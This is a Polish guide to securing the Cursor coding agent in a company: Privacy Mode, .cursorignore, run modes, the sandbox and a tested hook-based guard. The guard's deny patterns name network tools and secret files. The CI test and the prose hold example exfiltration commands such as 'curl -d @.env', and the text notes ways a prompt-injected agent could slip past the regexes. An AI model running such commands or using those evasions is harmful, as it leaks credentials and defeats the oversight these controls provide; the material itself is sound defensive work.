Prywatność i bezpieczeństwo w Cursorze
Zabezpieczenie Cursora w zespole wymaga czterech warstw: ustawienia Privacy Mode dla całej organizacji, pliku .cursorignore, poza który narzędzia plikowe agenta nie czytają, trybów uruchamiania i sandboksa, które kontrolują polecenia terminala, oraz hooków projektu w .cursor/hooks.json, blokujących to, czego zabrania polityka. Tylko warstwę hooków da się przetestować w CI.
Firma zatwierdziła Cursora, a potem z przeglądu bezpieczeństwa wróciły trzy pytania. Dokąd trafia nasz kod? Co powstrzyma agenta przed uruchomieniem curl z sekretem w środku? Kto zatwierdził serwer MCP, który rozmawia z produkcją? Twój CISO chce dowodów, a nie zrzutu ekranu z ustawień, zanim włączysz kolejne 30 licencji.
Ta strona jest dla tech leada, który odpowiada za ustawienia repozytorium, oraz dla CTO lub szefa bezpieczeństwa, który zatwierdza wdrożenie. Programiści dostają krótką listę tego, co kontrole zmieniają w ich codziennej pracy.
Co daje ci konfiguracja Cursora, którą obronisz przed audytem
Dział zatytułowany „Co daje ci konfiguracja Cursora, którą obronisz przed audytem”- Jasną mapę tego, co opuszcza maszynę przy każdej powierzchni Cursora, i tego, które decyzje należą do organizacji, a nie do programisty.
- Plik
.cursorignorei przetestowanego strażnika opartego na hookach, oba w repozytorium, z właścicielem z zespołu bezpieczeństwa wCODEOWNERS. - Test w CI, który nie przejdzie w dniu, w którym strażnik przestanie blokować polecenie sieciowe albo odczyt sekretu.
- Trzy prompty do skopiowania: jeden znajduje pliki do zignorowania, drugi przegląda serwery MCP, trzeci to próba ataku, która dowodzi, że kontrole działają.
- Listę pytań do dostawcy o rzeczy, które zależą od planu i umowy.
Jakie dane opuszczają maszynę, gdy działa agent Cursora?
Dział zatytułowany „Jakie dane opuszczają maszynę, gdy działa agent Cursora?”Każde żądanie agenta przechodzi przez backend Cursora. Żądanie zawiera twój prompt, pliki i fragmenty, które agent przeczytał, wyjście uruchomionych poleceń oraz wyniki wywołanych narzędzi MCP. Lokalny agent nie uruchamia modelu na twoim laptopie. Wszystko, co agent może przeczytać, traktuj jako coś, co może trafić do Cursora i jego dostawców modeli.
Privacy Mode to ustawienie konta, przechowywane po stronie Cursora, a nie w repozytorium. Środowisko agenta pobiera je z backendu i rozróżnia tryb bez przechowywania danych, tryb bez trenowania, tryb pozwalający trenować na danych z użycia oraz tryb pozwalający trenować na samym kodzie. Wynikają z tego dwie rzeczy:
- Repozytorium nie udowodni własnej polityki prywatności. Dowodem jest panel administracyjny, więc szef bezpieczeństwa dokumentuje stan właśnie tam.
- Programista zalogowany kontem prywatnym działa według ustawienia swojego konta, a nie organizacji. Wymagaj logowania kontem firmowym, zanim ktokolwiek otworzy firmowe repozytorium.
| Powierzchnia | Gdzie przetwarzany jest kod | Decyzja, która należy do ciebie |
|---|---|---|
| Lokalny agent (edytor, CLI, SDK) | Pliki zostają na laptopie; agent wysyła to, co przeczyta, do backendu Cursora | Poziom Privacy Mode, .cursorignore, tryb uruchamiania, hooki |
| Cloud Agents | Według dokumentacji Cursora (sprawdzone 28 sierpnia 2026 r.) Cloud Agents działają w izolowanych maszynach wirtualnych w chmurze z pełnym środowiskiem deweloperskim, więc repozytorium jest klonowane do chmury Cursora | Czy polityka w ogóle dopuszcza kod źródłowy w maszynie dostawcy; które repozytoria są włączone |
| Serwery MCP | Tam, gdzie działa dany serwer, często zewnętrzne API | Które serwery są zatwierdzone i jakie mają poświadczenia |
| Bugbot i inne integracje z PR | Integracja Cursora z GitHubem czyta pull requesty | Na których repozytoriach zainstalowana jest aplikacja GitHub |
Widok dla całej organizacji, obejmujący wszystkich trzech dostawców agentów, łącznie z klasyfikacją danych i warunkami umów, znajdziesz w artykule prywatność i przetwarzanie danych przez agentów AI.
Co te kontrole zmieniają w pracy programisty
Dział zatytułowany „Co te kontrole zmieniają w pracy programisty”- Odczyt ścieżki z
.cursorignorekończy się błędem „Path … is filtered out by .cursorignore”. Jeśli potrzebujesz tego pliku, otwórz go sam; agent nie powinien. - Strażnik odrzuca narzędzia sieciowe (
curl,wget,ssh,scp,rsync,nci podobne), rekurencyjnermniezależnie od pozycji flagi (rm -rf,rm -f -r,rm --recursive),sudoorazgit pushw każdej pisowni (takżegit -C . push). Wypychaj zmiany z własnego terminala, gdy już przeczytasz diff. - Nowy serwer MCP trafia do projektu przez pull request do
.cursor/mcp.json, przeglądany przez osobę odpowiedzialną za bezpieczeństwo, a nie przez twoje ustawienia użytkownika. - Loguj się do Cursora wyłącznie kontem firmowym, żeby twoja sesja podlegała Privacy Mode organizacji.
- Jeśli strażnik blokuje coś uzasadnionego, otwórz pull request do
.cursor/hooks/guard.mjsz nową liniąexpectw teście CI. Nie wyłączaj hooka lokalnie.
Skonfiguruj cztery warstwy we właściwej kolejności
Dział zatytułowany „Skonfiguruj cztery warstwy we właściwej kolejności”Kolejność ma znaczenie. Warstwa organizacji idzie pierwsza, bo danych, które już opuściły maszynę, nie da się później wycofać. Warstwa hooków idzie ostatnia, bo zależy od tego, czego nie łapią pozostałe.
-
Potwierdź Privacy Mode dla całej organizacji. W panelu administracyjnym zespołu sprawdź, który poziom Privacy Mode obowiązuje każdego członka i czy członkowie mogą go zmienić. Zapisz zrzut ekranu z datą w folderze z dowodami bezpieczeństwa. Jeśli umowa wymaga braku retencji, ustal, które modele w Cursorze wymagają retencji i czy administrator musi je zatwierdzić.
-
Dodaj do repozytorium
.cursorignore. Plik używa składni.gitignore. Środowisko agenta odrzuca odczyty pasujących ścieżek z błędem „Path … is filtered out by .cursorignore”, przekazuje tę samą listę do sandboksa powłoki i blokuje agentowi edycję samego.cursorignore.# .cursorignore: paths the agent's file tools must not read.env.env.*!.env.example!.env.sample.envrc*.pem*.keysecrets/terraform.tfstate**.tfvars*.sql.gz*.dump -
Wybierz tryb uruchamiania i nie wyłączaj sandboksa. Ustawienia Cursora grupują kontrolę terminala pod nazwą Run modes (zobacz stronę Cursora o trybach uruchamiania). Środowisko obsługuje allowlistę, sandbox dla poleceń powłoki oraz Auto-review, który wywołania narzędzi spoza allowlisty i spoza sandboksa przekazuje przed uruchomieniem do klasyfikatora. Na allowliście trzymaj tylko polecenia tylko do odczytu i testy (
npm test,pytest,tsc,eslint). Nie dodawaj tamgit push,rm,curl,sshani niczego zsudo. Nigdy nie wybieraj trybu, który uruchamia każde polecenie bez kontroli, na maszynie z poświadczeniami. -
Dodaj strażnika opartego na hookach. Hooki to według dokumentacji Cursora (sprawdzone 28 sierpnia 2026 r.) osobne procesy komunikujące się przez stdio w formacie JSON, które mogą obserwować, blokować lub modyfikować działanie agenta. Hook projektu to jedyna kontrola, która jest zwykłym kodem w repozytorium, więc można ją przejrzeć, wersjonować i testować. Pliki znajdziesz w następnej sekcji.
-
Zatwierdzaj serwery MCP świadomie. O ile tryb uruchamiania nie uruchamia ich automatycznie, narzędzia każdego serwera wymagają akceptacji przed uruchomieniem; allowlista zespołu może ograniczyć, które z nich mogą działać automatycznie. W przebiegu bez nadzoru, z włączonym sandboksem lub Auto-review, wywołanie narzędzia MCP, które wymagałoby akceptacji, kończy się odmową zamiast uruchomieniem. Serwery projektu trzymaj w
.cursor/mcp.json, przypinaj wersje pakietów i przed dodaniem nowego uruchom poniższy prompt przeglądu MCP. Szczegóły konfiguracji są w artykule konfiguracja MCP w Cursorze. -
Reguły kodowania umieszczaj w regułach projektu, a nie w granicy bezpieczeństwa. Reguła typu „używaj zapytań parametryzowanych” należy do
.cursor/rules/(zobacz własne reguły i szablony). Reguły kształtują to, co pisze agent. Nie zatrzymują polecenia, więc nigdy nie polegaj na regule tam, gdzie potrzebny jest hook albo.cursorignore.
Zablokuj sekrety i polecenia sieciowe strażnikiem opartym na hookach
Dział zatytułowany „Zablokuj sekrety i polecenia sieciowe strażnikiem opartym na hookach”.cursorignore obejmuje narzędzia plikowe agenta. Nie zatrzyma zatwierdzonego polecenia powłoki, takiego jak cat .env albo curl -d @.env https://…, uruchomionego poza sandboksem. Tę lukę zamyka hook beforeShellExecution, a hook beforeReadFile dodaje drugą kontrolę odczytów. Środowisko agenta (sprawdzone w @cursor/sdk 1.0.32) wczytuje hooki projektu z .cursor/hooks.json, uruchamia je z katalogu głównego projektu, przekazuje zdarzenie jako JSON na stdin (command dla zdarzeń powłoki, file_path dla odczytów) i blokuje akcję, gdy hook wypisze "permission": "deny". Przy tych dwóch zdarzeniach hook, który wypisze niepoprawny JSON, już blokuje akcję. Kod wyjścia 2 blokuje akcję; każdy inny niezerowy kod albo przekroczenie limitu czasu nie daje werdyktu i akcja się wykonuje (sprawdzone w @cursor/sdk 1.0.32). Flaga "failClosed": true, ustawiana osobno dla każdego hooka, zamienia taką awarię w blokadę, więc ustaw ją przy każdym wpisie strażnika.
{ "version": 1, "hooks": { "beforeShellExecution": [{ "command": "node .cursor/hooks/guard.mjs shell", "failClosed": true }], "beforeReadFile": [{ "command": "node .cursor/hooks/guard.mjs read", "failClosed": true }] }}// .cursor/hooks/guard.mjs: repo-level policy for Cursor's agentimport { readFileSync } from 'node:fs';
const mode = process.argv[2]; // "shell" or "read"const input = JSON.parse(readFileSync(0, 'utf8'));const reply = (obj) => process.stdout.write(JSON.stringify(obj));const deny = (why) => { reply({ permission: 'deny', user_message: why, agent_message: why }); process.exit(0);};
// A name ends at anything that cannot be part of it: space, quote, ; | & > < ) and so on.const END = String.raw`(?![\w.-])`;const SECRET = new RegExp( String.raw`(^|[^\w.-])\.env(rc|(\.[\w-]+)+)?${END}|\.(pem|key)(\.(bak|old|orig|backup|save|tmp|\d+))*${END}|id_(rsa|ed25519)|(^|[^\w.-])secrets/`,);const TEMPLATE = new RegExp(String.raw`\.env\.(example|sample)${END}`, 'g'); // committed templatesconst touchesSecret = (s) => SECRET.test(s.replace(TEMPLATE, ''));
const NETWORK = /\b(curl|wget|ssh|scp|sftp|rsync|nc|ncat|socat|telnet)\b/;// Any flag of an rm invocation, not only the first one: rm -f -r, rm -fr, rm --recursiveconst RECURSIVE_RM = /\brm\s(?:[^;&|]*\s)?(-[a-zA-Z]*[rR][a-zA-Z]*|--recursive)\b/;// push anywhere after git in the same command: git push, git -C . push, git --no-pager pushconst GIT_PUSH = /\bgit\b[^;&|]*\spush\b/;
if (mode === 'shell') { const cmd = String(input.command ?? ''); if (NETWORK.test(cmd)) deny(`Network command blocked by repo policy: ${cmd}`); if (GIT_PUSH.test(cmd) || RECURSIVE_RM.test(cmd) || /\bsudo\b/.test(cmd)) { deny(`Destructive command blocked by repo policy: ${cmd}`); } if (touchesSecret(cmd)) deny(`Command touches a secret file: ${cmd}`); reply({ permission: 'allow' });} else if (mode === 'read') { const path = String(input.file_path ?? ''); if (touchesSecret(path)) deny(`Secret file blocked by repo policy: ${path}`); reply({ permission: 'allow' });} else { process.exit(2); // unknown mode: Exit code 2 blocks the action}Strażnik uznaje nazwę sekretu za zakończoną na każdym znaku, który nie może należeć do nazwy pliku, więc cat .env;, cat .env|base64 i cat .env>/tmp/x odrzuca tak samo jak cat .env. Dotyczy to też kopii zapasowych: po .env może wystąpić dowolnie wiele członów z kropką, więc .env.local.bak zostaje odrzucony, tak jak ukrywa go wzorzec .env.* w .cursorignore, a plik .key albo .pem jest odrzucany także z typowymi przyrostkami kopii (.bak, .old, .orig, numer), przy czym src/keyboard.key.ts pozostaje dostępny. Woli fałszywy alarm niż przepuszczenie: blokuje też git log --grep push i cat ~/.ssh/config, a poprawką jest węższy wzorzec i nowa linia expect, nigdy wyłączony hook. Lista wzorców wciąż nie jest pełną polityką. Zdeterminowany atakujący, sterujący agentem przez prompt injection, może zmienić nazwę programu, złożyć polecenie ze zmiennych albo otworzyć gniazdo sieciowe z python -c, a tego żadne wyrażenie regularne nie wyłapie. Zabezpieczeniem w odwodzie jest sandbox: w środowisku uruchomieniowym 1.0.32 polecenie w sandboksie nie ma dostępu do sieci, chyba że polityka sandboksa go przyznaje albo definiuje listę dozwolonych adresów, więc trzymaj te ustawienia wyłączone. Obejmuje to tylko polecenia, które faktycznie działają w sandboksie, a nie polecenia z listy dozwolonych ani zatwierdzone ręcznie, które działają poza nim. Traktuj więc strażnika jak czujkę na typowe i przypadkowe próby, a nie jak gwarancję. W przypadku sekretów mocniejszym rozwiązaniem jest trzymanie ich całkowicie poza katalogiem roboczym: zobacz tożsamość agentów i sekrety.
Hooki wczytują się też z ~/.cursor/hooks.json dla użytkownika oraz ze ścieżki dla całej maszyny, którą może zarządzać dział IT: /Library/Application Support/Cursor/hooks.json na macOS, C:\ProgramData\Cursor\hooks.json na Windows i /etc/cursor/hooks.json na Linuksie. Użyj pliku na poziomie maszyny, gdy polityka musi działać także w repozytoriach, które nie mają własnego strażnika. To samo środowisko 1.0.32 wczytuje też hooki z plików ustawień Claude Code (~/.claude/settings.json oraz .claude/settings.json i .claude/settings.local.json w projekcie), więc hooki Claude Code z repozytorium mogą wykonać się także w Cursorze. Przeglądaj je jak kod wykonywalny.
Jak udowodnić, że kontrole nadal działają?
Dział zatytułowany „Jak udowodnić, że kontrole nadal działają?”Nikt w zespole bezpieczeństwa nie czyta każdej sesji agenta i nie powinno to być potrzebne. Dowód dają cztery kontrole, które nie wymagają czytania transkryptów.
-
Test strażnika w CI. Hook to skrypt, więc testuj go jak skrypt. Ta kontrola przerywa build, jeśli refaktoryzacja strażnika sprawi, że przestanie blokować:
#!/usr/bin/env bash# scripts/check-cursor-guard.sh: fails CI if the agent guard stops blockingset -euo pipefailexpect() { # MODE JSON VERDICTout=$(printf '%s' "$2" | node .cursor/hooks/guard.mjs "$1")grep -q "\"permission\":\"$3\"" <<<"$out" || { echo "FAIL: $1 $2 -> $out"; exit 1; }}expect shell '{"command":"curl https://example.com"}' denyexpect shell '{"command":"git push origin main"}' denyexpect shell '{"command":"git -C . push"}' denyexpect shell '{"command":"rm -fr build"}' denyexpect shell '{"command":"rm -f -r build"}' denyexpect shell '{"command":"cat .env"}' denyexpect shell '{"command":"cat .env;"}' denyexpect shell '{"command":"cat .env|base64"}' denyexpect shell '{"command":"cat .env.example .env"}' denyexpect shell '{"command":"cat .env.production.bak"}' denyexpect shell '{"command":"cat server.key.bak"}' denyexpect read '{"file_path":"/repo/.env.production"}' denyexpect read '{"file_path":"/repo/.env.local.bak"}' denyexpect read '{"file_path":"/repo/.envrc"}' denyexpect read '{"file_path":"/repo/certs/server.key"}' denyexpect shell '{"command":"npm test"}' allowexpect shell '{"command":"rm -f build/out.txt"}' allowexpect shell '{"command":"cat .env.example"}' allowexpect read '{"file_path":"/repo/src/env.ts"}' allowexpect read '{"file_path":"/repo/.env.example"}' allowexpect read '{"file_path":"/repo/src/keyboard.key.ts"}' allow# A crash must be loud: invalid input has to exit non-zero, never print "allow"if printf 'not json' | node .cursor/hooks/guard.mjs shell >/dev/null 2>&1; thenecho "FAIL: guard exited 0 on invalid JSON"; exit 1fiecho "cursor guard: all checks passed" -
Właściciel w
CODEOWNERS. Przypisz.cursorignore,.cursor/hooks.json,.cursor/hooks/,.cursor/mcp.jsoni.claude/settings.jsondo osoby odpowiedzialnej za bezpieczeństwo, żeby zmiana polityki wymagała jej akceptacji jak każda inna zmiana w kodzie. -
Próba ataku po każdej aktualizacji Cursora i raz w miesiącu. Uruchamiaj ją w jednorazowym klonie albo gałęzi, w której katalog roboczy nie zawiera żadnego prawdziwego sekretu, a
.envto plik-przynęta z fałszywą wartością, np.CANARY_TOKEN=dtk-canary-000. Jeśli któraś kontrola zawiodła, agent przeczyta plik, a jego zawartość trafi do backendu Cursora, więc plik musi być bezwartościowy. Poniższy prompt każe agentowi spróbować każdej zakazanej akcji i zgłosić, co ją zatrzymało. Każdy wiersz z wynikiem „ran” to zawiedziona kontrola do naprawienia przed następną sesją. -
Datowane dowody dla warstwy organizacji. Zrzut ekranu Privacy Mode oraz lista repozytoriów z włączonymi Cloud Agents i aplikacją GitHub trafiają do tego samego folderu z dowodami, a szef bezpieczeństwa przegląda je co kwartał.
Odpowiedzialność dzieli się według warstw: tech lead odpowiada za pliki w repozytorium i test w CI, a szef bezpieczeństwa za ustawienia w panelu i przegląd kwartalny.
Przejrzyj każdy serwer MCP, zanim go zatwierdzisz
Dział zatytułowany „Przejrzyj każdy serwer MCP, zanim go zatwierdzisz”Serwer MCP to kod z poświadczeniami i dostępem do sieci, a każdy kolejny poszerza zasięg ewentualnego prompt injection. Przejrzyj serwer przed pierwszą akceptacją, a nie po miesiącu używania. Listę zatwierdzonych serwerów trzymaj w .cursor/mcp.json w repozytorium, a nie w ustawieniach każdego programisty, żeby przeglądać ją jak kod. Zagrożenia, przed którymi to chroni, opisuje model zagrożeń dla agentów.
Pytania do Cursora przed podpisaniem umowy
Dział zatytułowany „Pytania do Cursora przed podpisaniem umowy”Te kwestie zależą od planu i umowy, a do tego się zmieniają. Poproś Cursora o odpowiedzi na piśmie i trzymaj je w folderze z dowodami.
| Pytanie | Dlaczego to ważne |
|---|---|
| Który poziom Privacy Mode domyślnie dostają nowi członkowie zespołu i czy administrator może go wymusić tak, by członkowie nie mogli go zmienić? | Ustawienie domyślne, które członek może wyłączyć, nie jest kontrolą |
| Które modele w Cursorze wymagają retencji danych i czy administrator może je zablokować? | Część dostawców wymaga retencji dla niektórych modeli |
| Jak długo Cursor przechowuje kod dla Cloud Agents i czy możemy ustawić ten okres? | Cloud Agents klonują repozytorium do maszyny w chmurze |
| Który plan obejmuje SSO, provisioning przez SCIM i logi audytowe? | Odebranie dostępu osobie odchodzącej to kwestia SCIM, a nie notatki z polityką |
| Gdzie i jak długo przechowywane są embeddingi i fragmenty z indeksu kodu? | Indeksowanie to przepływ danych niezależny od zapytań w czacie |
| Którzy podprzetwarzający i dostawcy modeli otrzymują nasze dane i na jakich warunkach retencji? | Tę listę musi pokrywać twoja umowa powierzenia danych (DPA) |
Gdy kontrole prywatności i bezpieczeństwa Cursora zawodzą
Dział zatytułowany „Gdy kontrole prywatności i bezpieczeństwa Cursora zawodzą”Próba ataku pokazuje, że cat .env się wykonało. Strażnika brakuje, nie wczytał się albo wzorzec nie zadziałał. Plik zawierał tylko token-przynętę, więc kontrola zawiodła bez ujawnienia czegokolwiek prawdziwego. Sprawdź, czy .cursor/hooks.json jest poprawnym JSON-em i zwykłym plikiem, a nie dowiązaniem symbolicznym (środowisko 1.0.32 odmawia czytania niektórych plików konfiguracyjnych przez symlinki), i uruchom lokalnie test z CI. Potem poszukaj prawdziwych plików .env w swoich roboczych repozytoriach: w zwykłej sesji ta sama luka wysłałaby ich zawartość do Cursora, więc wymień wszystko, co agent mógł przeczytać.
Strażnik się wywraca, a polecenia i tak się wykonują. Kod wyjścia 2 blokuje akcję, ale domyślnie hook, który się wywróci z każdym innym niezerowym kodem albo przekroczy limit czasu, nie daje werdyktu i akcja się wykonuje. Ustaw "failClosed": true przy każdym wpisie strażnika (sprawdzone w @cursor/sdk 1.0.32), żeby awaria blokowała akcję. Utrzymuj strażnika bez zależności, trzymaj w teście CI przypadek z niepoprawnym JSON-em, żeby awaria była głośna, i nie wyłączaj sandboksa, żeby nieudany hook nie był jedyną barierą.
Sesja programisty ignoruje Privacy Mode organizacji. Programista jest zalogowany kontem prywatnym. Wymagaj logowania kontem firmowym przez dostawcę tożsamości i usuń konta prywatne z firmowych maszyn za pomocą systemu zarządzania urządzeniami.
Serwer MCP wysyła nieoczekiwane żądania sieciowe. Wyłącz go w ustawieniach MCP Cursora, usuń z .cursor/mcp.json i wymień poświadczenia, które miał. Zatwierdź go ponownie dopiero wtedy, gdy prompt przeglądu zwróci „approve” dla przypiętej wersji.
Allowlista rośnie, aż trafia na nią bash albo sh -c. Powłoka na allowliście uruchomi wszystko. Przeglądaj allowlistę co kwartał i przenoś wszystko, co może opakować inne polecenie, z powrotem za akceptację albo do sandboksa.
Przegląd polityki mówi, że Cloud Agents są zawsze zakazane. Zdecyduj na podstawie rzeczywistego przepływu danych: Cloud Agents działają w maszynie dostawcy ze sklonowanym repozytorium. Jeśli polityka zabrania kodu źródłowego w infrastrukturze dostawcy, zostaw je wyłączone dla tych repozytoriów i używaj lokalnych agentów z opisanymi wyżej kontrolami.
Co dalej z bezpieczeństwem Cursora
Dział zatytułowany „Co dalej z bezpieczeństwem Cursora”- Cursor w zespole i firmie: sekcja, do której należy ta strona.
- Współpraca zespołowa w Cursorze: wspólne reguły i ustawienia, gdy kontrole już działają.
- Audyt bezpieczeństwa w Cursorze: agent szuka podatności w twoim kodzie, czyli druga strona bezpieczeństwa.
- Uprawnienia i sandboksy we wszystkich agentach: te same warstwy w Claude Code i Codeksie.
- Integracja enterprise dla Claude Code: strona siostrzana, jeśli organizacja używa więcej niż jednego agenta.
- Bezpieczeństwo i zgodność dla agentów AI: polityka na poziomie CTO, którą realizują te kontrole w repozytorium.